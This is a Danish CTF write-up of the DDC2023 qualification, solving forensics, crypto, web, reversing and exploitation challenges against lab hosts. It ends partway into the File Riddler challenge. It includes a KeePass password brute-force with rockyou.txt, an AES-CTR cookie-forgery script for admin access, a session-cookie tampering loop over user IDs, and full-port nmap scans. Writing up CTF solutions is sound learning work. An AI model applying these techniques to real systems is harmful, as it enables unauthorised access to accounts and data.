DDC2023 Writeup
De Danske Cybermesterskaber 2023 - Kvalifikation
Preface
Once again, I had the pleasure of participaiting in the CTF for qualifying to the danish national cybersecurity team. As the CTF is in danish, the writeup will be likewise.
Igen i år havde jeg fornøjelsen af at knække lidt opgaver i forbindelse med kvalifikationen til DDC2023. Samtidig giver det mig mulighed for at skrive lidt ned om det jeg har fundet frem til, således at jeg forhåbentlig også selv bliver klogere.
Jeg endte med at løse 18 opgaver (19 point, inkl. kvalifikations-flaget), hvilket placerede mig på en 21. (eller delt 19.) plads i senior kategorien, hvilket jeg er godt tilfreds med.
Forensics
The Santa Claus Attack
Sværhedsgrad: Let
Fil: Download
Beskrivelse:
Der var kun få dage tilbage til jul, men Julemanden manglede stadig at få styr på de sidste gaver. Han besluttede derfor i hemmelighed at købe gaverne online for at nå det i tide.
Da Grinchen opdagede dette, besluttede han at sende Julemanden en phishingmail. Julemanden hoppede i fælden og klikkede på et ondsindet link i en mail, der lignede en ordrebekræftelse for hans nylige julegaveindkøb.
Kig Julemandens nylige mails igennem og se, om du kan finde et link, der stikker ud fra de andre og som ikke leder til en ægte webshop. Analysér herefter netværkstrafikken for at bestemme det præcise tidspunkt, hvor Julemanden klikkede sig ind på det link.
Flaget er tidspunktet formateret som
DDC{YYYY-MM-DD-hh-mm-ss}
. Finder du f.eks. svaret 3. maj 2022 kl. 14:32:10, er flagetDDC{2022-05-03-14-32-10}
.Tip: Brug programmet Wireshark til at analysere netværkstrafikken.
Vi får gevet 3 mails, samt en .pcap fil, med netværkstraffik. Efter at have undersøgt de 3 emails er det hurtigt tydeligt at den ene ser phishy ud (den fra ASOS), da den forsøger at linke til hjemmesiden http://fungasoap.net i et af sine links, hvilket ikke er en virkelig hjemmeside (whois returnerer ingenting).
Derfor kan vi nu let lede efter dette domæne i Wireshark, f.eks. ved at finde tidspunket for DNS opslaget.
Filtreringen i Wirkeshark kan laves blot ved at skrive dns
i inputfeltet. Det er ikke overvældende med pakker der er tilbage efter denne sortering. Men det er muligt at sortere direkte på DNS querien i Wireshark, som følger: dns.qry.name==fungasoap.net
.
Uanset, får vi at pakke 440 pakken der forespørger DNS serveren om fungasoap.net, nu skal vi blot finde tidspunktet for den. Dette gøres i Wireshark, ved at sætte tiden til absolut i stedet for relativ: View > Time Display Format > Date and Time of Day.
Vi kan nu se at pakken er sendt præcis kl. 2016-09-19 23:10:01,490874
, hvorved vi har fundet flaget.
Flag: DDC{2016-09-19-23-10-01}
USBestjålet
Sværhedsrad: Let-Medium
Filer: Download 1,
Download 2,
Download 3,
Download 4
Note: Da filen i sig selv er for stor til at hoste, har jeg delt den op i 4, der kan pakkes ud med 7z
.
Beskrivelse:
Politiet anholdt i november en ung mand i København og sigtede ham for at stjæle et hemmeligt dokument fra BBC. Ifølge BBC er det meste af dokumentet volapyk, men det gemmer på en hemmelighed.
Et USB-stik er under afhøringen af den anholdte blevet beslaglagt og sendt til teknisk analyse. Politiet har vurderet det meget sandsynligt, at dokumentet har ligget på USB-stikket og har brug for at finde det før retssagen. Den tekniske afdeling har dog kun fundet en række Monty Python memes og et manuskript.
Kan du hjælpe politiet med deres efterforskning?
Gad vide hvad det er for en fil vi har med at gøre…
$ file usb.001
usb.001: DOS/MBR boot sector MS-MBR Windows 7 english
at offset 0x163 "Invalid partition table"
at offset 0x17b "Error loading operating system"
at offset 0x19a "Missing operating system",
disk signature 0xb4d45eda;
partition 1 : ID=0xc, start-CHS (0x0,2,3),
end-CHS (0x33,0,13), startsector 128, 819200 sectors;
partition 2 : ID=0xc, start-CHS (0x33,0,14),
end-CHS (0x81,254,63), startsector 819328, 1271808 sectors
Det er altså en hel diskafbildning, med nogle forskellige partitioner på.
Jeg brugte en del tid i denne opgave på at mounte disken i de forskellige offsets og forsøge at rode igennem filerne, hvilket blandt andet indeholder en masse memes (som opgave beskrivelsen også siger), men desværre ikke noget flag.
Jeg kunne dog også finde frem til at der lå en slettet .zip fil et sted på billedet, som ikke dukkede op når jeg mountede den, derfor gik jeg i stedet over til at bruge foremost
.
$ foremost -t zip usb.001
$ cd output/zip
$ unzip '*.zip'
$ ls
00008368.zip imageUSB.exe Pittsburgh Fire Vic.png
00827568.zip isp.png Pittsburgh Ladder.png
00880064.zip Lorem_Ipsum.rtf Pittsburgh Tanker.png
7zip_dll mbr ReadMe.txt
20220914_121135.jpg Pittsburgh Fire Explorer.png
Help Pittsburgh Fire Tahoe.png
Nu dukker der tilgengæld en interessant fil op: Lorem_Ipsum.rtf
.
I den, finder vi en masse Lorem Ipsum tekst, med en enkelt base64 encoded streng midt i det hele:
RERDezcxNV9idTdfNF81Y3I0N2NofQ==
$ echo "RERDezcxNV9idTdfNF81Y3I0N2NofQ==" | base64 -d
DDC{715_bu7_4_5cr47ch}
Flag: DDC{715_bu7_4_5cr47ch}
Hackerboss: en usikker samtale
Sværhedsgrad: Medium
Fil: Download
Beskrivelse:
Efter en ildebrand i et formodet cyberkriminelt klubhus finder du en næsten fuldstændigt ødelagt harddisk. Du formår at genskabe én fil, men den er til gengæld ret spændende. Kan du finde noget i dén? Opgaven kan løses uafhængigt af andre opgaver.
Igen, er file
vejen frem, for at finde ud af hvad vi har med at gøre:
$ file an_interesting_file
an_interesting_file: SQLite 3.x database,
last written using SQLite version 3035004,
page size 2048, writer version 2,
read version 2, file counter 4,
database pages 353, 1st free page 353,
free pages 1, cookie 0x4b, schema 4,
UTF-8, version-valid-for 4
Det er altså en SQLite 3 database.
Der er rimelig meget data i databasen: 75 tables, med alt fra 0 til 623 rows i.
import sqlite3
con = sqlite3.connect('an_interesting_file')
cur = con.cursor()
res = cur.execute("SELECT name FROM sqlite_schema WHERE type ='table' AND name NOT LIKE 'sqlite_%'")
tables = [x[0] for x in res.fetchall()]
print(f'Tables: {len(tables)}')
for table in tables:
res = cur.execute(f'SELECT * FROM {table}')
print(len([item for item in cur.fetchall()]))
Jeg startede med at printe hele skidtet ud, og søge groft igennem det, efter nogle få nøgleord, såsom “hemmelig”, “kryptere”, “flag”, “secret”, “sikker”. Generelt ligner det et export af en chatapplikation, fra matrix.org, hvilket formentlig er hvad den efterfølgende opgave tager udgangspunkt i.
Det ser ud til at tabellen pduid_pdu
er den mest spændende, da der ligger en del ukrypterede samtaler derinde.
Så lad os blot se nærmere på den.
import sqlite3
import json
from pprint import pprint
con = sqlite3.connect('an_interesting_file')
cur = con.cursor()
cur.execute(f'SELECT * FROM pduid_pdu')
for res in cur.fetchall():
pprint(json.loads(res[1])['content'])
Vi ser at flaget ligger “skjult”, som QQP{x0q3a_71y_c3a635x4o37_3e_a3z}
, hvilket til forveksling ligner en ROT13 cipher.
$ echo "QQP{x0q3a_71y_c3a635x4o37_3e_a3z}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
DDC{k0d3n_71l_p3n635k4b37_3r_n3m}
Flag: DDC{k0d3n_71l_p3n635k4b37_3r_n3m}
Hackerman: et sikkert sted
Sværhedsgrad: Svær
Fil: Filen er desværre for stor til at uploade
Beskrivelse:
Du har for nyligt fået fat i et SD-kort som du formoder har tilhørt den berygtede Hackerman. Kan du bruge det til noget? Opgaven kan løses uafhængigt af andre opgaver.
Vi har fået et helt filsystem, i formatet ext4
$ file disk.iso
disk.iso: Linux rev 1.0 ext4 filesystem data,
UUID=1f6bf330-e792-4aaa-b79a-3a0086ce1dcc
(extents) (64bit) (large files) (huge files)
Det kan vi heldigvis mounte i linux
$ sudo mkdir /media/hackerman
$ sudo mount disk.iso /media/hackerman -o loop
$ cd /media/hackerman
Min første tanke var at se om der mon var nogle brugere på systemet, der havde noget interessant ligende.
Der er én bruger pi
, så lad os undersøge dennes hjemmemappe.
$ ls -la /media/hackerman/home/pi
$ ls -la
--- afkortet ---
drwxr-xr-x 11 kali kali 4096 Nov 23 22:54 .cache
drwx------ 2 kali kali 4096 Aug 23 2021 .conf
drwx------ 42 kali kali 4096 Dec 11 2021 .config
drwxr-xr-x 2 kali kali 4096 Nov 21 2021 Desktop
drwxr-xr-x 2 kali kali 4096 Nov 23 21:36 Documents
drwxr-xr-x 2 kali kali 4096 Oct 9 2021 Downloads
drwx------ 3 kali kali 4096 May 23 2021 .gnupg
drwxr-xr-x 2 kali kali 4096 Nov 23 22:54 .hemmelig
drwxr-xr-x 5 kali kali 4096 May 28 2021 .local
drwxr-xr-x 2 kali kali 4096 Jul 2 2021 Music
drwxr-xr-x 3 kali kali 4096 Jul 23 2021 Pictures
drwx------ 3 kali kali 4096 May 23 2021 .pki
drwx------ 3 kali kali 4096 Dec 11 2021 .pp_backup
drwxr-xr-x 2 kali kali 4096 May 23 2021 Public
drwxr-xr-x 2 kali kali 4096 May 27 2021 .secret
Især mappen .hemmelig
falder i øjnene, da den tydeligvis er skrevet på dansk og næsten helt sikker må være brugerlavet.
$ ls -la /media/hackerman/home/pi/.hemmelig
-rw-r--r-- 1 kali kali 556103 Nov 23 21:32 koder.kdbx
Det er en KeePassXC database - hvor interessant!
Desværre virker keepass2john
ikke på denne fil.
$ keepass2john koder.kdbx > hash.txt
! koder.kdbx : File version '40000' is currently not supported!
En kort websøgning senere, viser det sig at keepass2john
kun supporterer KeePassXC < 2.36
(kilde), grundet nyere hashes.
Tilgengæld fandt jeg et simplet brute-force, baseret på keepassxc-cli
, skrevet i bash
(r3nt0n/keepass4brute).
Lad os i stedet prøve med dette, og rockyou.txt
$ ./keepass4brute.sh koder.kbdx /usr/share/wordlists/rockyou.txt
keepass4brute 1.1 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 1115/14344392 (taylor1)
[*] Password found: taylor1
Det virkede, vi fandt et kodeord: taylor1
.
Jeg startede med at åbne filen i KeePassXCs app, for at få et overblik over hvad der mon var i databasen.
Det skulle dog vise sig at der er 3930 entries i databasen, så det er ikke helt så ligetil.
Dog fandt jeg også ud af at der kun er én entry, der har en tilhørende note, som lyder:
Jeg fik at vide at jeg skulle gemme denne:
> Det er det samme hver gang. Man har en plan, en genial plan!
Og så er man omgivet af hundehoveder og hængerøve, lusede amatører,
elendige klamphuggere, latterlige skidesprællere. Talentløse skiderikker,
impotente grødbønder, og Socialdemokrater!
Eller bare:
> EsTb 9nAK dzgf Cob5 VSwA mQ9Z yskf JRGH GDdN RAmm yyiL ga1q
Det ligner et fingerprint / recovery code til en service af en art.
Så mon ikke det er måden man kan dekryptere dele af samtalen fra den foregående opgave:
Hackerboss: en usikker samtale, og derved finde flaget til den sidste af flagene i serien.
Det passer i hvert fald også med at noten er sat til hjemmesiden app.element.io
, som er en matrix.org
klient.
Om ikke andet valgte jeg at eksportere databasen, så alle kodeordene står i plaintext, dette kan gøres med keepassxc-cli
.
$ keepassxc-cli export -f csv ./koder.kdbx > koder.csv
$ egrep -o 'DDC{.*}' koder.csv
DDC{fl3re-iter4t1on3r-e113r-et-b3dr3-h0v3dsætn1ng?}
Flag: DDC{fl3re-iter4t1on3r-e113r-et-b3dr3-h0v3dsætn1ng?}
Exiftrering af data
Sværhedsgrad: Meget let
Fil: Download
Beskrivelse:
En kendt forsker fra Aalborg Universitet mistænkes for at kommunikere hemmelige beskeder til sine fans gennem billeder på hans hjemmeside. Vi har downloaded dette billede fra hjemmesiden, kan du hjælpe med at finde ud af hvilken besked forskeren sender til sine fans?
Som navnet på opgaven hentyder til, er flaget formentlig gemt i EXIF informationen om billedet.
Vi kan derfor blot bruge strings
på filen og greppe efter flaget.
$ strings Cyberlandsholdet.jpeg | egrep -o 'DDC{.*}'
DDC{#EnGangTil}
Flag: DDC{#EnGangTil}
What is logging
Sværhedsgrad: Meget let
Fil: Download
Beskrivelse:
Har du hørt om logging? Jeg har fået en masse requests, men er usikker på om der er noget spændende
Filen vi får givet ligner en logfil fra en webserver. Mon ikke flaget ligger herinde et sted i plaintekst, når nu opgaven ikke har en sværere sværhedsgrad.
$ egrep -o 'DDC{.*}' logs.txt
DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D}
Flag: DDC{CR4ZY-L0NG-F1L3S-C4N-B3-S34RCH3D}
The Key-Store Version
Sværhedsgrad: Let
Beskrivelse:
There are SQL databases such as MySQL and Postgres, and NoSQL databases such as MongoDB but what if you just want to store a value in a key? What version is this key-value store running
keystore.hkn
? Maybe nmap can tell you which version this key-value store is running ?Flag format
DDC{Some key-value store version}
e.g.DDC{memcached key-value store 1.0.2}
PS. not everything is running in nmap top 1000 ports
Dette er en ren nmap
opgave.
Vi starter med at scanne alle porte på hosten, ud fra tippet om at nmap
s standard top 1000 porte formentlig ikke vil finde porten vi leder efter.
$ nmap -p- keystore.hkn
Nmap scan report for keystore.hkn (34.25.181.31)
Host is up (0.061s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
6379/tcp open redis
Efter scanning, ses det hurtigt at hosten kører redis
på port 6379.
nmap
kan også detektere versioner af software, ved at sætte -sV
flaget.
$ nmap -p 6379 -sV keystore.hkn
Nmap scan report for keystore.hkn (34.25.181.31)
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 7.0.8
Det er altså redis version 7.0.8
Flag: DDC{redis key-value store 7.0.8}
Cryptography
Baby RSA
Sværhedsgrad: Let
Fil: Download
Beskrivelse:
Har du hørt om RSA?
Vi får en fil med en ciphertekst, en offentlig nøgle (\(n\), og \(e\)), samt parametrene for at kunne udregne den private nøgle med (\(p\) og \(q\)).
Den private nøgle, findes ved at udregne det inverse element, \(d\), til \(e \mod{\phi(n)}\), sådan at \(e \cdot d \equiv 1 \mod{\phi(n)}\). \(\phi(n)\) er lig \((p-1) \cdot (q-1)\), ifølge RSA protokollen. Når vi så har udregnet dette, findes plainteksten ved at udregne \(c^{d} \mod{n}\), for cipherteksten \(c\). Efter dette er det blot et spørgsmål om at konvertere resultatet til en tekststreng.
Alt dette er implementeret i følgende python script.
n = 14591059584728658996740718896274912924434702993948401065953397352995339910088088733574991258740736943162240984607294149798518974390850442269320587130740348332766777840789060640046077889381042022860333067208949242541537029834713571632092399544412860224638358821688934376008405448120397447357043233351572894555161097157298917757903358450051781374553895783095933436102637259148017787894728417663857683547045820798741292596714992103546619732559091189051271145488307258679223962750029735466371748284344268969024995984222371842720543906957141892627260247305180561557377683921023735478606199803707739027008690484139631874629
e = 65537
ciphertext = 8370482736029746802272435856905582692197472046878613623126167436276048925497192051855114861968301986740953539053163947192721440270870275675104799441533614895688983570828061357190863655539868022793932838551215620997098363666548621341103618946043035652810120255282119559608036421751056052625158822827831595069995146507062852262681451781903083499147508262669740286416571718635819352694698805949316507535002658526810142183807237137069555203580152352863371601204706128986849512578411079323120877340385328130962702308650000566212396403238074531227510385807269241298909102687880672710693216031720613169757344140890527855180
# What's the plaintext? this might help!
p = 135118121033494444903135040650593867761183730711309803684324950423162537667458806301698825106852556296618752800474983408511120590602816857766798006294318907531661438883032776328539787015720714526094491835105378129306305286637613861991613352256006427593441280185940386266360182068694185435614508146253927535219
q = 107987437015288865195226926953887120405158392241008731414825285641627743723768153549068145296919127709072426332548919995869779098499543714252696254999551997426879319789809420841712042595904693470932881039466995302317325926476459209840274875302406142467069199349897038463278476940799410775560424588456195916391
# solution
phi = (p-1) * (q-1)
d = pow(e, -1, phi)
cleartext = pow(ciphertext, d, n)
flag = int.to_bytes(cleartext, (cleartext.bit_length() + 7) // 8, 'big').decode()
print(flag)
Flag: DDC{Crypto-was-great-but-why-was-there-no-RSA}
Flipping Privilege
Sværhedsgrad: Medium
Fil: Download
Beskrivelse:
Hjemmesiden
privilege.hkn
gemmer på et billede, der kun kan ses af administratorer. Kan du flippe privilegiet?
Efter at have undersøgt source filen for hjemmesiden, ses det at cookien på hjemmesiden er krypteret med AES_CTR
, som er en block cipher mode, der genererer en block cipher, som bliver XORet med plainteksten for at genererer cipherteksten.
Dette er også forklaret med følgende figur på Wikipedia:
Men da vores secret_key
og nonce
er statisk under hele programmets eksekvering, vil hele block cipheren ikke ændre sig. Efter som vi kender den originale tekst samt den tilhørende ciphertekst (cookien), kan vi blot XORe disse igen, for at skabe cipheren.
Når vi har denne, kan vi igen XORe denne med plainteksten for admin brugeren, hvilket vil give den korrekt krypterede admin cookie, helt uden at vi har kendskab til hverken secret_key
eller nonce
.
Derudover er det vigtigt at se på at vores to XOR operationer fungerer med lige lange keys. Da “User” og “Admin” ikke er lige lange ord, er vi nødt til at omgå dette, ved et lille hack.
Notationen
cookie_dict["access_level"] = "User"
pt = json.dumps(cookie_dict).encode()
Giver et et resultatet b'{"access_level": "User"}'
.
Da cookien, efter at være dekrypteret, er parset af json biblioteket, kan vi undlade mellemrummet efter :
, for at vinde den sidste karakter.
Plainteksten for admin brugeren, hardcodes altså i stedet for at parse det som et dict
til json
.
import json
from pwn import xor
ct = bytes.fromhex('51f3ced15d81062836714987e0172bd3e57db35e69d581d6')
cookie_dict = {}
cookie_dict["access_level"] = "User"
pt = json.dumps(cookie_dict).encode()
sol_pt = b'{"access_level":"Admin"}'
cipher = xor(ct, pt)
new_cookie = xor(cipher, sol_pt)
print(new_cookie.hex())
Efter at sætte den nye cookie, og besøge privilege.hkn/flag
, får vi følgende billede:
Flag: DDC{But_I_used_Encryption}
Fang Bjørnebanden
Sværhedsgrad: Meget let
Fil: Download
Beskrivelse:
Politimester Striks er på sporet af Bjørnebanden, som han er sikker på planlægger noget. Det er lykkedes politiet at opsnappe SMS’er mellem to “burner phones”, som de mener tilhører 176-671 og 176-617: Bjørnebanden SMS’er
Desværre forstår Striks ikke, hvordan banden kommunikerer, så han kan ikke tyde deres beskeder. Han har spurgt kriminalinspektør Rebus om hjælp, men hun kunne kun knække ét af ordene: “kodeordet”.
Kan du hjælpe Striks med at finde ud af, hvad Bjørnebanden pønser på?
Tip: SMSerne er på dansk og er krypteret med et “substitution cipher”, hvor hver emoji svarer til et bogstav eller tegn.
Til at starte med kan vi se på længden af ordet “kodeordet”, som er på 9 bogstaver
Der er 3 ord på 9 bogstaver:
👍😃😎💡👜😎😂😃😎
🍯🔒😈👍👜😂🌶👜😂
🍔🔒💡😃🔒😈💡😃🌶
Kun det sidste ord passer med ordet “kodeordet”, da blandt andet det 2. og 5. bogstav er det samme. Efter at have erstattet disse emojis med bogstaver, kan man så småt begynde at kende ord og ud fra dette erstatte flere emojis.
Til sidst ender vi ud med teksten:
sendingen kommer torsdag nat klokken tre
hvor skal vi tage imod den
det gamle pakhus på molevej femten
hvordan får vi den videre
det er en stor sending vi skal bruge tre biler
dem skaffer jeg
vær forsigtig striks er på vagt
hvad er kodeordet
det er ddc{påske}
Flag: DDC{påske}
Web Security
Hot Pics
Sværhedsgrad: Let
Beskrivelse:
Jeg er freelancefotograf, og jeg har lige fået en ny hjemmeside til at poste mit arbejde. Du kan finde mange af mine fotografier på
jenny-willson.hkn
, og der kommer snart flere!
Vi bliver mødt af en klassisk skabelon af en hjemmeside, som ikke har det store at byde på.
Ser vi på kildekoden for siden, ses det at de 16 billeder på hjemmesiden er numereret 1-18, manglende nummer 10 og 15.
Disse billeder eksisterer ikke på siden, hvis man førsøger at finde den samme sti som de andre billeder, såsom http://jenny-willson.hkn/assets/img/gallery/gallery-10.jpg
.
Ser man på /robots.txt
, begynder det at blive spændende…
User-agent: *
Disallow: /admin/*
Disallow: /assets/img/gallery-drafts/gallery-*.jpg
Disallow: /changelog.txt
/changelog.txt
indeholder dette:
Version: 1.2.0
- Updated Bootstrap to version 5.2.3
- Updated all outdated third party vendor libraries to their latest versions
- Removed links and hidden drafts folder
Version: 1.1.1
- Updated Bootstrap to version 5.2.2
- Updated all outdated third party vendor libraries to their latest versions
- Added support for gallery drafts
Version: 1.1.0
- Updated Bootstrap to version 5.2.1
- Updated all outdated third party vendor libraries to their latest versions
Version: 1.0.0
- Initial Release
Det kunne altså godt tyde på at vi måske kunne finde de “manglende” billeder, under /assets/img/gallery-drafts/
, så vi prøver ad.
Der er hit allerede på http://jenny-willson.hkn/assets/img/gallery-drafts/gallery-10.jpg
, hvor vi ser billedet:
Flag: DDC{r0b0ts_txt_is_n0t_4cc355_c0ntr0l}
Half-Baked Cookies
Sværhedsgrad: Let-Medium
Beskrivelse:
Jeg er ved at udvikle en webapp til at administrere todo lists. Du kan prøve den på
todos.hkn
Efter at have oprettet en bruger på hjemmesiden, kan vi oprette punkter i vores todo, markere dem som done og slette dem igen.
Forsøger vi at redigere en todo som vi ikke selv har oprettet (såsom http://todos.hkn/todos/edit/1
), får vi at vide at den todo ikke tilhører os.
Som navnet på opgaven også hentyder til, har brugeren sat en cookie, som authentication mod serveren. Denne cookie er base64 encodet, og efter at have decodet den, får vi et JSON objekt tilbage.
$ echo "eyJfdXNlcl9pZCI6ICIyMSIsICJfZnJlc2giOiB0cnVlLCAiX2lkIjogIjU3MjU5M2FkZDE3OWUxM2FmNWVkYTczNTgwMzc2NTVlZWNhZmI1Y2Y0MWIyNjBjNzExNzMxODMwMWRkYTA0YTFhOTFhODgxNjIwYmIyMWM2NTA0YjM1NTllYjg3MjhkMzkyMWRkNmM1ZTEyYWE4MGNjN2JlYTA3ZmZlNGU1OWQyIn0=" | base64 -d
{"_user_id": "21", "_fresh": true, "_id": "572593add179e13af5eda7358037655eecafb5cf41b260c7117318301dda04a1a91a881620bb21c6504b3559eb8728d3921dd6c5e12aa80cc7bea07ffe4e59d2"}
Ved at ændre _user_id
, kan vi tilgå andre folks todos.
Det skal dog vise sig at flaget hverken ligger under user 1
, eller 20
, så jeg tyede straks til hjælp, for at søge igennem alle valide _user_id
s.
import requests
from base64 import b64encode as b64
import re
url = 'http://todos.hkn/todos'
for i in range(1, 21):
cookie = f'{{"_user_id": "{i}", "_fresh": true, "_id": "572593add179e13af5eda7358037655eecafb5cf41b260c7117318301dda04a1a91a881620bb21c6504b3559eb8728d3921dd6c5e12aa80cc7bea07ffe4e59d2"}}'
print(f'trying {i}')
cookies = {'session': b64(cookie.encode()).decode()}
r = requests.get(url, cookies = cookies)
match = re.search(r'DDC{.*}', r.text)
if match:
print(match.group())
break
Vi prøver at køre programmet:
$ python brute.py
--- afkortet ---
trying 17
trying 18
DDC{t3s3_c00k1e_1s_sp01l3d_t1m3_t0_cl0s3_sh0p}
Det var altså bruger 18, der havde flaget.
Flag: DDC{t3s3_c00k1e_1s_sp01l3d_t1m3_t0_cl0s3_sh0p}
Reverse Engineering
Forsker Jens
Sværhedsgrad: Let
Fil: Download
Beskrivelse:
Ham der AAU-forskeren, der hele tiden er på TV, tror du ikke han har noget cool security research vi kan sælge?
Jeg har hacket hans PC, men han gemmer sin nyeste, upublicerede forskning bag et ekstra lag sikkerhed.
Det virker umuligt at trænge igennem, men det er jo også lavet af en professor! Måske kan du komme ind?
Vi skal her omgå en login formular implementeret i Python, hvor både brugernavnet og kodeordet skal findes. Brugernavnet står skrevet direkte på linje 8 i koden.
if username != "J3n5_MyruP_3r_5up3r_s3j_l0lz!!":
Kodeordet er gemt lidt mere væk, vi kan se at det skal være lige så langt som brugernavnet, skal starte med $Correct
og slutte med Staple$
.
if not all([
len(password) == len(username),
password.startswith("$Correct"),
password[15] == "B",
password[13] == password[5],
password[11] == "r",
password[9] == "H",
password[12] == "s",
password[10] == "o",
"Battery" in password,
password[8] == password[14] == password[22] == "-",
password.endswith("Staple$")
]):
Resten af kodeordet er valideret ved at se på hvert indeks af tekststrengen, samt udtrykket "Battery" in password
.
Samler vi det hele sammen, får vi koden:
$Correct-Horse-Battery-Staple$
Programmet køres med disse argumenter, og vi ser hvad der sker.
$ python auth.py
Indtast brugernavn:
> J3n5_MyruP_3r_5up3r_s3j_l0lz!!
Indtast password:
> $Correct-Horse-Battery-Staple$
VELKOMMEN TILBAGE, JENS!
+=====================================================+
| Superhemmelig igangværende security research: |
| https://vbn.aau.dk/ws/files/484572782/WACCO2022.pdf |
| |
| Dagens XKCD: https://xkcd.com/936/ |
+=====================================================+
DDC{53cur17y_pr0f3ss0r_h4ck3d}
Link til superhemmelig research: https://vbn.aau.dk/ws/files/484572782/WACCO2022.pdf
XKCD 936:
Flag: DDC{53cur17y_pr0f3ss0r_h4ck3d}
A-maze
Sværhedsgrad: Medium
Fil: Download
Beskrivelse:
Du træder ind i et kulsort system af underjordiske grotter. Er du modig nok til at finde udgangen?
Vi får en 64-bit ELF, som skal reverses denne gang. Der ligger desværre ikke noget statisk flag i den, klar til at blive greppet… Vi skal i stedet programmere os vej igennem opgaven.
$ ./amaze
You are now entering this blind dungeon, are you brave enough to find the exit?
Your commands are:
n: go north
s: go south
w: go west
e: go east
Amaze me!
n
You hit a wall! Tough luck
Programmet terminerer med det samme, efter at være kørt og fortalt om man støder på en væg eller ej.
Vi kan dog putte en hel sti ind på en gang, såsom esee
, for at gå øst, syd, øst, øst.
Vi kan nu automatisere gættene, ved at lade filen læse fra stdin.
Jeg har implementeret det i Python, ved brug af subprocess
modulet, da det tillader at man kan få output fra sin kørte kommando.
Jeg har implementeret en rekursiv søgealgoritme, der søger depthfirst ind i labyrinten.
import subprocess
import re
# prevent going back and forth
values = {'n': 'new', 'e': 'nes', 's': 'esw', 'w': 'nsw'}
def scan(path):
print(f"trying {path}")
op = subprocess.run(f"echo {path} | ./amaze",
shell=True, capture_output=True)
output = op.stdout.decode()
if 'DDC' in output:
print(f'\n\nfound flag with path: {path}')
print(re.search(r'DDC{.*}', output).group())
exit()
if 'wall' in output:
return
# recursively try path, if it's not a wall
for direction in values[path[-1]]:
scan(path+direction)
if __name__ == '__main__':
# first direction is east
scan('e')
$ python maze.py
--- afkortet ---
found flag with path:
essseesssseennnnnnneeeeeeessssssssssswwwsssseenneeennnnneessseee
sssssswwnnwwwwsswwwwwwwnwwwwwssssseenneesseeessssseeeeeeeeeeeeee
nnnnwwwnneeeeessssssseennnneessssses
DDC{e1s3e2s4e2n7e7s11w3s4e2n2e3n5e2s3e3s6w2n2w4s2w7n1w5s5e2n2e2
s2e3s5e14n4w3n2e5s7e2n4e2s5e1}
Flag: DDC{e1s3e2s4e2n7e7s11w3s4e2n2e3n5e2s3e3s6w2n2w4s2w7n1w5s5e2n2e2
s2e3s5e14n4w3n2e5s7e2n4e2s5e1}
Binary Exploitation
arbread
Sværhedsgrad: Medium
Fil: Download
Beskrivelse:
Kan du finde flaget? Det er skjult!
remote:
arbread.hkn:1024
Her får vi en binary, med kildekoden til, skrevet i C. Formålet er nu at få flaget printet ud, ved at beskrive dets placering i memory.
For at kunne dette, åbnede jeg programmet i Ghidra, der bruges til at reverse binaries.
I Ghidra viser det sig at tekststrengen DDC{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
fremgår på 0x00402008
, hvilket svarer til decimaltallet 4202504
.
$ nc arbread.hkn 1024
Simple text adventure game 0.1
You wake up in a dark room...
1. Look around
2. Walk
3. Not implemented
1
Where would you like to look?
4202504
You've found: DDC{this_is_the_real_flag_go_submit}
Flag: DDC{this_is_the_real_flag_go_submit}
Misc
Password Blues
Sværhedsgrad: Let
Fil: Download
Beskrivelse:
Ministeriet for god smag har gjort det forbudt at lytte til blues. Du og dine bluesvenner er derfor nødt til at mødes i hemmelighed. For at få adgang til møderne kræves en 9-cifret kode. Din ven sender dig to billeder med følgende kryptiske besked:
“I dag føler jeg mig mindre blå end i går! Jeg forsøger at sammenligne hver dag med den foregående. Én efter én, i rækkefølge…”
Kan du finde den 9-cifrede kode til morgendagens møde? Din ven har vedlagt et Python script, der kan hjælpe dig i gang. Det bruger et Python library (PIL) til håndtering af billeder, som kan installeres med
> pip install Pillow
Scriptet kan køres med
> python analyse.py
Flaget er koden indsat i
DDC{}
. Hvis koden du finder er123456789
, skal du altså submitteDDC{123456789}
.
Opgaven indeholder 2 tilsyneladende ens billeder, samt et tilhørende Python script. Når filen køres kommer der helt vildt meget output, så lad os i stedet se hvad der sker, og forsøge at rydde lidt op i det.
# Loop over the pixels (RGB-values) of both images at the same time
for pixel1, pixel2 in zip(pixels1, pixels2):
# Compare and print whether pixels are identical
if pixel1 == pixel2:
print(f"{pixel1} == {pixel2}")
else:
print(f"{pixel1} != {pixel2}")
Ovenstående er programmet som det ser ud i opgaven. Lad os nu starte med at modificere det, så det kun printer de gange der er forskel på pixels.
for pixel1, pixel2 in zip(pixels1, pixels2):
if pixel1 != pixel2:
print(f"{pixel1} != {pixel2}")
Kører vi programmet nu, er outputtet langt mere håndgribeligt:
$ python analyse.py
(49, 24, 28) != (49, 24, 27)
(51, 27, 27) != (51, 27, 22)
(37, 29, 27) != (37, 29, 18)
(49, 39, 38) != (49, 39, 36)
(110, 109, 114) != (110, 109, 112)
(130, 129, 127) != (130, 129, 125)
(233, 181, 194) != (233, 181, 192)
(31, 85, 123) != (31, 85, 119)
(23, 33, 25) != (23, 33, 17)
Der er altså præcis 9 pixels, der er forskellige på de to billeder. Ser man nærmere på dem, er det kun den 3. værdi (altså blå) der er forskellig på dem
Vi kan jo udregne denne forskel ved at trække de to værdier fra hinanden, mon ikke vi så får den 9-cifrede kode vi står og mangler…
for pixel1, pixel2 in zip(pixels1, pixels2):
if pixel1 != pixel2:
print(pixel1[2]-pixel2[2], end='')
print()
Vi prøver at køre programmet:
$ python analyse.py
159222248
Flag: DDC{159222248}
File Riddler
Sværhedsgrad: Let
Beskrivelse:
Velkommen, detektiv!
Et mysterie venter dig ved
fileriddler.hkn
. Løs mine gåder og brug svarene til at skaffe dig root-adgang. Her venter min hemmelighed dig, hvis du er værdig.Hint: Prøv at bruge svarene ét af gangen
Et hurtigt scan af hosten viser at FTP er åbent, så lad os starte med at se om vi kan tilgå noget som anonymous.
$ nmap -p- fileriddler.hkn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-17 21:44 CET
Nmap scan report for fileriddler.hkn (34.25.181.62)
Host is up (0.059s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
